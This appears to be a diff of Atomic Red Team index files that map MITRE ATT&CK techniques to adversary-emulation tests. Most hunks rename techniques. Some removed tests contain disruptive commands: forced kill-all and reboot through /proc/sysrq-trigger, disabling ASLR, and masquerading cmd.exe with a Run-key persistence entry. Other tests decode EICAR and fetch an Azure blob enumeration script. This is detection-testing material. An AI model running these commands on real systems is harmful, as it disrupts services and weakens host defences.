- description: 'The Invoke-EnumerateAzureBlobs module must exist in PathToAtomicsFolder\..\ExternalPayloads.
'
prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"){exit
0} else {exit 1}
'
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/Invoke-EnumerateAzureBlobs.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
- description: 'The wordlist file for search permutations must exist in PathToAtomicsFolder\..\ExternalPayloads.
'
prereq_command: 'if (test-path "#{wordlist}"){exit 0} else {exit 1}
'
get_prereq_command: 'invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/permutations.txt"
-outfile "#{wordlist}"
'
executor:
command: |
import-module "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
Invoke-EnumerateAzureBlobs -base #{base} -permutations "#{wordlist}" -outputfile "#{output_file}"
cleanup_command: 'remove-item #{output_file} -erroraction silentlycontinue
'
name: powershell
T1654:
technique:
type: attack-pattern
@@ -120098,21 +119810,6 @@ impact:
'
name: sh
elevation_required: true
- name: Abuse of linux magic system request key for Send a SIGTERM to all processes
auto_generated_guid: 6e76f56f-2373-4a6c-a63f-98b7b72761f1
description: 'Adversaries with root or sufficient privileges Send a SIGTERM
to all processes, except for init. By writing ''e'' to /proc/sysrq-trigger,
they can forced kill all processes, except for init.
'
supported_platforms:
- linux
executor:
command: 'echo "e" > /proc/sysrq-trigger
'
name: bash
elevation_required: true
T1499.004:
technique:
type: attack-pattern
@@ -120795,84 +120492,6 @@ impact:
'
name: command_prompt
elevation_required: false
- name: Windows - Display a simulated ransom note via Notepad (non-destructive)
auto_generated_guid: 0eeb68ce-e64c-4420-8d53-ad5bdc6f86d5
description: |
Creates a temporary ransom-note text file and opens it in Notepad to
simulate ransomware "note display" behavior without making destructive
changes. SAFE and non-destructive.
supported_platforms:
- windows
input_arguments:
note_filename:
description: File name for the simulated ransom note
type: string
default: ART-T1491-ransom-note.txt
pid_filename:
description: File name for storing Notepad PID
type: string
default: ART-T1491-notepad.pid
note_title:
description: Title at the top of the ransom note
type: string
default: "!!! READ_ME_NOW !!!"
note_body:
description: The body of the ransom note (plain text)
type: string
default: |
Your files are SAFE. This is a TEST note for detection validation
by bak3n3k0. No data has been encrypted. This simulation exercises
detections for:
- notepad.exe launched with a ransom-themed text file
- creation of a ransom-themed text file in %TEMP%
NON-DESTRUCTIVE Atomic Red Team test.
dependency_executor_name: command_prompt
dependencies:
- description: Notepad must be present on the system
prereq_command: where notepad
get_prereq_command: ''
executor:
name: powershell
elevation_required: false
command: |
$notePath = Join-Path $env:TEMP "#{note_filename}"
$pidPath = Join-Path $env:TEMP "#{pid_filename}"
$Title = "#{note_title}"
$Body = "#{note_body}"
$header = $Title + "`r`n" + ('=' * $Title.Length) + "`r`n`r`n"
$content = $header + $Body
[System.IO.File]::WriteAllText($notePath, $content, [System.Text.Encoding]::UTF8)
$p = Start-Process notepad.exe -ArgumentList "`"$notePath`"" -PassThru
$p.Id | Out-File -FilePath $pidPath -Encoding ascii -Force
cleanup_command: |
try {
# 1. Kill all Notepad processes
Get-Process notepad -ErrorAction SilentlyContinue |
ForEach-Object {
Stop-Process -Id $_.Id -Force -ErrorAction SilentlyContinue
}
# 2. Wait briefly for Windows to release file handles
Start-Sleep -Seconds 1
# 3. Force delete ransom note + PID file
$notePath = Join-Path $env:TEMP "ART-T1491-ransom-note.txt"
$pidPath = Join-Path $env:TEMP "ART-T1491-notepad.pid"
if (Test-Path $notePath) {
Remove-Item $notePath -Force -ErrorAction Stop
}
if (Test-Path $pidPath) {
Remove-Item $pidPath -Force -ErrorAction Stop
}
}
catch {
Write-Warning "Cleanup failed with error: $_"
}
T1496.004:
technique:
type: attack-pattern
@@ -123401,21 +123020,6 @@ impact:
'
name: command_prompt
elevation_required: false
- name: Abuse of Linux Magic System Request Key for Reboot
auto_generated_guid: d2a1f4bc-a064-4223-8281-a086dce5423c
description: 'adversaries with root or sufficient privileges to silently manipulate
or destabilize a system. By writing to /proc/sysrq-trigger, they can forced
to reboot.
'
supported_platforms:
- linux
executor:
command: 'echo "b" > /proc/sysrq-trigger
'
name: bash
elevation_required: true
initial-access:
T1133:
technique:
+8 -105
View File
@@ -1520,7 +1520,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:58:05.840Z'
name: 'Obfuscated Files or Information: Encrypted/Encoded File'
name: Encrypted/Encoded File
description: "Adversaries may encrypt or encode files to obfuscate strings,
bytes, and other specific patterns to impede detection. Encrypting and/or
encoding file content aims to conceal malicious artifacts within a file used
@@ -1569,48 +1569,7 @@ defense-evasion:
x_mitre_data_sources:
- 'File: File Creation'
- 'File: File Metadata'
identifier: T1027.013
atomic_tests:
- name: Decode Eicar File and Write to File
auto_generated_guid: 7693ccaa-8d64-4043-92a5-a2eb70359535
description: Decode the eicar value, and write it to file, for AV/EDR to try
to catch.
supported_platforms:
- windows
- macos
- linux
executor:
command: |-
$encodedString = "WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo="
$bytes = [System.Convert]::FromBase64String($encodedString)
$decodedString = [System.Text.Encoding]::UTF8.GetString($bytes)
#write the decoded eicar string to file
$decodedString | Out-File T1027.013_decodedEicar.txt
cleanup_command: Just delete the resulting T1027.013_decodedEicar.txt file.
name: powershell
elevation_required: false
- name: Decrypt Eicar File and Write to File
auto_generated_guid: b404caaa-12ce-43c7-9214-62a531c044f7
description: Decrypt the eicar value, and write it to file, for AV/EDR to try
to catch.
supported_platforms:
- windows
- macos
- linux
executor:
command: |-
$encryptedString = "76492d1116743f0423413b16050a5345MgB8AGkASwA0AHMAbwBXAFoAagBkAFoATABXAGIAdAA5AFcAWAB1AFMANABVAEEAPQA9AHwAZQBjAGMANgAwADQAZAA0AGQAMQAwADUAYgA4ADAAMgBmADkAZgBjADEANQBjAGMANQBiAGMANwA2AGYANQBmADUANABhAGIAYgAyAGMANQA1AGQAMgA5ADEANABkADUAMgBiAGMANgA2AGMAMAAxADUAZABjADAAOABjAGIANAA1ADUANwBjADcAZQBlAGQAYgAxADEAOQA4AGIAMwAwADMANwAwADAANQA2ADQAOAA4ADkAZgA4ADMAZQA4ADgAOQBiAGEAMAA2ADMAMQAyADYAMwBiAGUAMAAxADgANAA0ADYAOAAxADQANQAwAGUANwBkADkANABjADcANQAxADgAYQA2ADMANQA4AGIAYgA1ADkANQAzAGIAMwAxADYAOAAwADQAMgBmADcAZQBjADYANQA5AGIANwBkADUAOAAyAGEAMgBiADEAMQAzAGQANABkADkAZgA3ADMAMABiADgAOQAxADAANAA4ADcAOQA5ADEAYQA1ADYAZAAzADQANwA3AGYANgAyADcAMAAwADEAMQA4ADEAZgA5ADUAYgBmAGYANQA3ADQAZQA4AGUAMAAxADUANwAwAGQANABiADMAMwA2ADgANwA0AGIANwAyADMAMQBhADkAZABhADEANQAzADQAMgAzADEANwAxADAAZgAxADkAYQA1ADEAMQA="
$key = [byte]1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
$decrypt = ConvertTo-SecureString -String $encryptedString -Key $key
$decryptedString = [Runtime.InteropServices.Marshal]::PtrToStringBSTR([Runtime.InteropServices.Marshal]::SecureStringToBSTR($decrypt))
#Write the decrypted eicar string to a file
$decryptedString | out-file T1027.013_decryptedEicar.txt
cleanup_command: Just delete the resulting T1027.013_decryptedEicar.txt file.
name: powershell
elevation_required: false
atomic_tests: []
T1014:
technique:
type: attack-pattern
@@ -2629,7 +2588,7 @@ defense-evasion:
identifier: T1036.005
atomic_tests:
- name: Execute a process from a directory masquerading as the current parent
directory
directory.
auto_generated_guid: 812c3ab8-94b0-4698-a9bf-9420af23ce24
description: 'Create and execute a process from a directory masquerading as
the current parent directory (`...` instead of normal `..`)
@@ -12820,21 +12779,6 @@ defense-evasion:
| Set-AdvancedSetting -Value '0' -Confirm:$false\nDisconnect-VIServer -Confirm:$false\n"
name: powershell
elevation_required: true
- name: Disable ASLR Via sysctl parameters - Linux
auto_generated_guid: ac333fe1-ce2b-400b-a117-538634427439
description: Detects Execution of the `sysctl` command to set `kernel.randomize_va_space=0`
which disables Address Space Layout Randomization (ASLR) in Linux.
supported_platforms:
- linux
executor:
command: 'sysctl -w kernel.randomize_va_space=0
'
cleanup_command: 'sysctl -w kernel.randomize_va_space=2
'
name: bash
elevation_required: true
T1601:
technique:
type: attack-pattern
@@ -18031,7 +17975,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -18108,6 +18052,7 @@ defense-evasion:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
T1078.004:
technique:
@@ -53124,7 +53069,7 @@ lateral-movement:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -53201,6 +53146,7 @@ lateral-movement:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
credential-access:
T1557:
@@ -58880,7 +58826,7 @@ credential-access:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T22:03:00.834Z'
name: 'Credentials from Password Stores: Cloud Secrets Management Stores'
name: Cloud Secrets Management Stores
description: "Adversaries may acquire credentials from cloud-native secret management
solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault,
and Terraform Vault. \n\nSecrets managers support the secure centralized
@@ -58916,7 +58862,6 @@ credential-access:
x_mitre_version: '1.0'
x_mitre_data_sources:
- 'Cloud Service: Cloud Service Enumeration'
identifier: T1555.006
atomic_tests: []
T1003.008:
technique:
@@ -62960,18 +62905,6 @@ discovery:
find . -type f -name ".*"
cleanup_command: 'rm #{output_file}'
name: sh
- name: Identifying Network Shares - Linux
auto_generated_guid: 361fe49d-0c19-46ec-a483-ccb92d38e88e
description: |
If the system uses network file systems (e.g., NFS, CIFS), findmnt can help locate paths to remote shares.
Attackers may then attempt to access these shares for lateral movement or data exfiltration.
supported_platforms:
- linux
executor:
command: 'findmnt -t nfs
'
name: sh
T1049:
technique:
type: attack-pattern
@@ -71080,21 +71013,6 @@ impact:
'
name: sh
elevation_required: true
- name: Abuse of linux magic system request key for Send a SIGTERM to all processes
auto_generated_guid: 6e76f56f-2373-4a6c-a63f-98b7b72761f1
description: 'Adversaries with root or sufficient privileges Send a SIGTERM
to all processes, except for init. By writing ''e'' to /proc/sysrq-trigger,
they can forced kill all processes, except for init.
'
supported_platforms:
- linux
executor:
command: 'echo "e" > /proc/sysrq-trigger
'
name: bash
elevation_required: true
T1499.004:
technique:
type: attack-pattern
@@ -73197,21 +73115,6 @@ impact:
'
name: bash
elevation_required: true
- name: Abuse of Linux Magic System Request Key for Reboot
auto_generated_guid: d2a1f4bc-a064-4223-8281-a086dce5423c
description: 'adversaries with root or sufficient privileges to silently manipulate
or destabilize a system. By writing to /proc/sysrq-trigger, they can forced
to reboot.
'
supported_platforms:
- linux
executor:
command: 'echo "b" > /proc/sysrq-trigger
'
name: bash
elevation_required: true
initial-access:
T1133:
technique:
+8 -48
View File
@@ -1319,7 +1319,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:58:05.840Z'
name: 'Obfuscated Files or Information: Encrypted/Encoded File'
name: Encrypted/Encoded File
description: "Adversaries may encrypt or encode files to obfuscate strings,
bytes, and other specific patterns to impede detection. Encrypting and/or
encoding file content aims to conceal malicious artifacts within a file used
@@ -1368,48 +1368,7 @@ defense-evasion:
x_mitre_data_sources:
- 'File: File Creation'
- 'File: File Metadata'
identifier: T1027.013
atomic_tests:
- name: Decode Eicar File and Write to File
auto_generated_guid: 7693ccaa-8d64-4043-92a5-a2eb70359535
description: Decode the eicar value, and write it to file, for AV/EDR to try
to catch.
supported_platforms:
- windows
- macos
- linux
executor:
command: |-
$encodedString = "WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo="
$bytes = [System.Convert]::FromBase64String($encodedString)
$decodedString = [System.Text.Encoding]::UTF8.GetString($bytes)
#write the decoded eicar string to file
$decodedString | Out-File T1027.013_decodedEicar.txt
cleanup_command: Just delete the resulting T1027.013_decodedEicar.txt file.
name: powershell
elevation_required: false
- name: Decrypt Eicar File and Write to File
auto_generated_guid: b404caaa-12ce-43c7-9214-62a531c044f7
description: Decrypt the eicar value, and write it to file, for AV/EDR to try
to catch.
supported_platforms:
- windows
- macos
- linux
executor:
command: |-
$encryptedString = "76492d1116743f0423413b16050a5345MgB8AGkASwA0AHMAbwBXAFoAagBkAFoATABXAGIAdAA5AFcAWAB1AFMANABVAEEAPQA9AHwAZQBjAGMANgAwADQAZAA0AGQAMQAwADUAYgA4ADAAMgBmADkAZgBjADEANQBjAGMANQBiAGMANwA2AGYANQBmADUANABhAGIAYgAyAGMANQA1AGQAMgA5ADEANABkADUAMgBiAGMANgA2AGMAMAAxADUAZABjADAAOABjAGIANAA1ADUANwBjADcAZQBlAGQAYgAxADEAOQA4AGIAMwAwADMANwAwADAANQA2ADQAOAA4ADkAZgA4ADMAZQA4ADgAOQBiAGEAMAA2ADMAMQAyADYAMwBiAGUAMAAxADgANAA0ADYAOAAxADQANQAwAGUANwBkADkANABjADcANQAxADgAYQA2ADMANQA4AGIAYgA1ADkANQAzAGIAMwAxADYAOAAwADQAMgBmADcAZQBjADYANQA5AGIANwBkADUAOAAyAGEAMgBiADEAMQAzAGQANABkADkAZgA3ADMAMABiADgAOQAxADAANAA4ADcAOQA5ADEAYQA1ADYAZAAzADQANwA3AGYANgAyADcAMAAwADEAMQA4ADEAZgA5ADUAYgBmAGYANQA3ADQAZQA4AGUAMAAxADUANwAwAGQANABiADMAMwA2ADgANwA0AGIANwAyADMAMQBhADkAZABhADEANQAzADQAMgAzADEANwAxADAAZgAxADkAYQA1ADEAMQA="
$key = [byte]1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
$decrypt = ConvertTo-SecureString -String $encryptedString -Key $key
$decryptedString = [Runtime.InteropServices.Marshal]::PtrToStringBSTR([Runtime.InteropServices.Marshal]::SecureStringToBSTR($decrypt))
#Write the decrypted eicar string to a file
$decryptedString | out-file T1027.013_decryptedEicar.txt
cleanup_command: Just delete the resulting T1027.013_decryptedEicar.txt file.
name: powershell
elevation_required: false
atomic_tests: []
T1014:
technique:
type: attack-pattern
@@ -2177,7 +2136,7 @@ defense-evasion:
identifier: T1036.005
atomic_tests:
- name: Execute a process from a directory masquerading as the current parent
directory
directory.
auto_generated_guid: 812c3ab8-94b0-4698-a9bf-9420af23ce24
description: 'Create and execute a process from a directory masquerading as
the current parent directory (`...` instead of normal `..`)
@@ -16510,7 +16469,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -16587,6 +16546,7 @@ defense-evasion:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
T1078.004:
technique:
@@ -49681,7 +49641,7 @@ lateral-movement:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -49758,6 +49718,7 @@ lateral-movement:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
credential-access:
T1557:
@@ -54602,7 +54563,7 @@ credential-access:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T22:03:00.834Z'
name: 'Credentials from Password Stores: Cloud Secrets Management Stores'
name: Cloud Secrets Management Stores
description: "Adversaries may acquire credentials from cloud-native secret management
solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault,
and Terraform Vault. \n\nSecrets managers support the secure centralized
@@ -54638,7 +54599,6 @@ credential-access:
x_mitre_version: '1.0'
x_mitre_data_sources:
- 'Cloud Service: Cloud Service Enumeration'
identifier: T1555.006
atomic_tests: []
T1003.008:
technique:
+6 -6
View File
@@ -1097,7 +1097,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:58:05.840Z'
name: 'Obfuscated Files or Information: Encrypted/Encoded File'
name: Encrypted/Encoded File
description: "Adversaries may encrypt or encode files to obfuscate strings,
bytes, and other specific patterns to impede detection. Encrypting and/or
encoding file content aims to conceal malicious artifacts within a file used
@@ -1146,7 +1146,6 @@ defense-evasion:
x_mitre_data_sources:
- 'File: File Creation'
- 'File: File Metadata'
identifier: T1027.013
atomic_tests: []
T1014:
technique:
@@ -14386,7 +14385,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -14463,6 +14462,7 @@ defense-evasion:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
T1078.004:
technique:
@@ -44673,7 +44673,7 @@ lateral-movement:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -44750,6 +44750,7 @@ lateral-movement:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
credential-access:
T1557:
@@ -48925,7 +48926,7 @@ credential-access:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T22:03:00.834Z'
name: 'Credentials from Password Stores: Cloud Secrets Management Stores'
name: Cloud Secrets Management Stores
description: "Adversaries may acquire credentials from cloud-native secret management
solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault,
and Terraform Vault. \n\nSecrets managers support the secure centralized
@@ -48961,7 +48962,6 @@ credential-access:
x_mitre_version: '1.0'
x_mitre_data_sources:
- 'Cloud Service: Cloud Service Enumeration'
identifier: T1555.006
atomic_tests: []
T1003.008:
technique:
+6 -6
View File
@@ -1046,7 +1046,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:58:05.840Z'
name: 'Obfuscated Files or Information: Encrypted/Encoded File'
name: Encrypted/Encoded File
description: "Adversaries may encrypt or encode files to obfuscate strings,
bytes, and other specific patterns to impede detection. Encrypting and/or
encoding file content aims to conceal malicious artifacts within a file used
@@ -1095,7 +1095,6 @@ defense-evasion:
x_mitre_data_sources:
- 'File: File Creation'
- 'File: File Metadata'
identifier: T1027.013
atomic_tests: []
T1014:
technique:
@@ -14205,7 +14204,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -14282,6 +14281,7 @@ defense-evasion:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
T1078.004:
technique:
@@ -44252,7 +44252,7 @@ lateral-movement:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -44329,6 +44329,7 @@ lateral-movement:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
credential-access:
T1557:
@@ -48504,7 +48505,7 @@ credential-access:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T22:03:00.834Z'
name: 'Credentials from Password Stores: Cloud Secrets Management Stores'
name: Cloud Secrets Management Stores
description: "Adversaries may acquire credentials from cloud-native secret management
solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault,
and Terraform Vault. \n\nSecrets managers support the secure centralized
@@ -48540,7 +48541,6 @@ credential-access:
x_mitre_version: '1.0'
x_mitre_data_sources:
- 'Cloud Service: Cloud Service Enumeration'
identifier: T1555.006
atomic_tests: []
T1003.008:
technique:
+27 -582
View File
@@ -1514,7 +1514,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:58:05.840Z'
name: 'Obfuscated Files or Information: Encrypted/Encoded File'
name: Encrypted/Encoded File
description: "Adversaries may encrypt or encode files to obfuscate strings,
bytes, and other specific patterns to impede detection. Encrypting and/or
encoding file content aims to conceal malicious artifacts within a file used
@@ -1563,48 +1563,7 @@ defense-evasion:
x_mitre_data_sources:
- 'File: File Creation'
- 'File: File Metadata'
identifier: T1027.013
atomic_tests:
- name: Decode Eicar File and Write to File
auto_generated_guid: 7693ccaa-8d64-4043-92a5-a2eb70359535
description: Decode the eicar value, and write it to file, for AV/EDR to try
to catch.
supported_platforms:
- windows
- macos
- linux
executor:
command: |-
$encodedString = "WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo="
$bytes = [System.Convert]::FromBase64String($encodedString)
$decodedString = [System.Text.Encoding]::UTF8.GetString($bytes)
#write the decoded eicar string to file
$decodedString | Out-File T1027.013_decodedEicar.txt
cleanup_command: Just delete the resulting T1027.013_decodedEicar.txt file.
name: powershell
elevation_required: false
- name: Decrypt Eicar File and Write to File
auto_generated_guid: b404caaa-12ce-43c7-9214-62a531c044f7
description: Decrypt the eicar value, and write it to file, for AV/EDR to try
to catch.
supported_platforms:
- windows
- macos
- linux
executor:
command: |-
$encryptedString = "76492d1116743f0423413b16050a5345MgB8AGkASwA0AHMAbwBXAFoAagBkAFoATABXAGIAdAA5AFcAWAB1AFMANABVAEEAPQA9AHwAZQBjAGMANgAwADQAZAA0AGQAMQAwADUAYgA4ADAAMgBmADkAZgBjADEANQBjAGMANQBiAGMANwA2AGYANQBmADUANABhAGIAYgAyAGMANQA1AGQAMgA5ADEANABkADUAMgBiAGMANgA2AGMAMAAxADUAZABjADAAOABjAGIANAA1ADUANwBjADcAZQBlAGQAYgAxADEAOQA4AGIAMwAwADMANwAwADAANQA2ADQAOAA4ADkAZgA4ADMAZQA4ADgAOQBiAGEAMAA2ADMAMQAyADYAMwBiAGUAMAAxADgANAA0ADYAOAAxADQANQAwAGUANwBkADkANABjADcANQAxADgAYQA2ADMANQA4AGIAYgA1ADkANQAzAGIAMwAxADYAOAAwADQAMgBmADcAZQBjADYANQA5AGIANwBkADUAOAAyAGEAMgBiADEAMQAzAGQANABkADkAZgA3ADMAMABiADgAOQAxADAANAA4ADcAOQA5ADEAYQA1ADYAZAAzADQANwA3AGYANgAyADcAMAAwADEAMQA4ADEAZgA5ADUAYgBmAGYANQA3ADQAZQA4AGUAMAAxADUANwAwAGQANABiADMAMwA2ADgANwA0AGIANwAyADMAMQBhADkAZABhADEANQAzADQAMgAzADEANwAxADAAZgAxADkAYQA1ADEAMQA="
$key = [byte]1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
$decrypt = ConvertTo-SecureString -String $encryptedString -Key $key
$decryptedString = [Runtime.InteropServices.Marshal]::PtrToStringBSTR([Runtime.InteropServices.Marshal]::SecureStringToBSTR($decrypt))
#Write the decrypted eicar string to a file
$decryptedString | out-file T1027.013_decryptedEicar.txt
cleanup_command: Just delete the resulting T1027.013_decryptedEicar.txt file.
name: powershell
elevation_required: false
atomic_tests: []
T1014:
technique:
type: attack-pattern
@@ -3173,69 +3132,6 @@ defense-evasion:
'
name: powershell
- name: Masquerading cmd.exe as VEDetector.exe
auto_generated_guid: 03ae82a6-9fa0-465b-91df-124d8ca5c4e8
description: |
This test simulates an adversary renaming cmd.exe to VEDetector.exe to masquerade as a legitimate application.
The test copies cmd.exe, renames it to VEDetector.exe, adds a registry run key for persistence, and executes the renamed binary.
This technique may be used to evade detection by mimicking legitimate software names or locations.
**Expected Output:**
- A new process named VEDetector.exe appears in the process list, but its behavior matches cmd.exe.
- SIEM/EDR systems may detect this as suspicious process activity (e.g., Sysmon Event ID 1 for process creation, or Event ID 13 for registry modifications).
- Registry modification in HKLM:\Software\Microsoft\Windows\CurrentVersion\Run may trigger persistence alerts in XDR platforms.
**References:**
- [MITRE ATT&CK T1036.005](https://attack.mitre.org/techniques/T1036/005/)
- [Sysmon Process Creation](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon)
supported_platforms:
- windows
input_arguments:
ved_path:
description: Directory path where VEDetector.exe will be created
type: Path
default: "$env:TEMP"
source_file:
description: Path to the source cmd.exe file
type: Path
default: "$env:SystemRoot\\System32\\cmd.exe"
dependency_executor_name: powershell
dependencies:
- description: 'The source cmd.exe file must exist on the system.
'
prereq_command: 'if (Test-Path "#{source_file}") { exit 0 } else { exit 1
}
'
get_prereq_command: |
Write-Host "[-] Source file not found: #{source_file}. Ensure cmd.exe exists in the specified path."
exit 1
executor:
name: powershell
elevation_required: true
command: |
# Copy and rename cmd.exe to VEDetector.exe
Copy-Item -Path "#{source_file}" -Destination "#{ved_path}\VEDetector.exe" -Force
# Create registry run key for persistence
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "VEDetector" -Value "#{ved_path}\VEDetector.exe" -PropertyType String -Force
# Start the renamed process
Start-Process -FilePath "#{ved_path}\VEDetector.exe"
Start-Sleep -Seconds 5
cleanup_command: |
# Remove registry key
Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "VEDetector" -ErrorAction SilentlyContinue
# Stop the process
Stop-Process -Name "VEDetector" -Force -ErrorAction SilentlyContinue
# Remove the file
Remove-Item -Path "#{ved_path}\VEDetector.exe" -Force -ErrorAction SilentlyContinue
Write-Host "[+] Cleaned up VEDetector artifacts"
T1600:
technique:
type: attack-pattern
@@ -6667,36 +6563,6 @@ defense-evasion:
del %temp%\T1140_calc2.txt >nul 2>&1
del %temp%\T1140_calc2_decoded.exe >nul 2>&1
name: command_prompt
- name: Expand CAB with expand.exe
auto_generated_guid: 9f8b1c54-cb76-4d5e-bb1f-2f5c0e8f5a11
description: |
Uses expand.exe to extract a file from a CAB created locally. This simulates adversarial use of expand on cabinet archives.
Upon success, art-expand-source.txt is extracted next to the CAB.
supported_platforms:
- windows
input_arguments:
cab_path:
description: Path to the CAB to expand (created if missing)
type: path
default: "%TEMP%\\art-expand-test.cab"
output_dir:
description: Destination directory
type: path
default: "%TEMP%\\art-expand-out"
executor:
name: command_prompt
elevation_required: false
command: |
mkdir "#{output_dir}" >nul 2>&1
echo hello from atomic red team > "PathToAtomicsFolder\T1140\src\art-expand-source.txt"
makecab "PathToAtomicsFolder\T1140\src\art-expand-source.txt" "#{cab_path}"
pushd "#{output_dir}"
expand "#{cab_path}" -F:* .
popd
cleanup_command: |
del "PathToAtomicsFolder\T1140\src\art-expand-source.txt" >nul 2>&1
del "#{cab_path}" >nul 2>&1
rmdir "#{output_dir}" /s /q >nul 2>&1
T1562:
technique:
type: attack-pattern
@@ -19493,112 +19359,6 @@ defense-evasion:
-Name Enabled -Value 1 -PropertyType "DWord" -Force
name: powershell
elevation_required: true
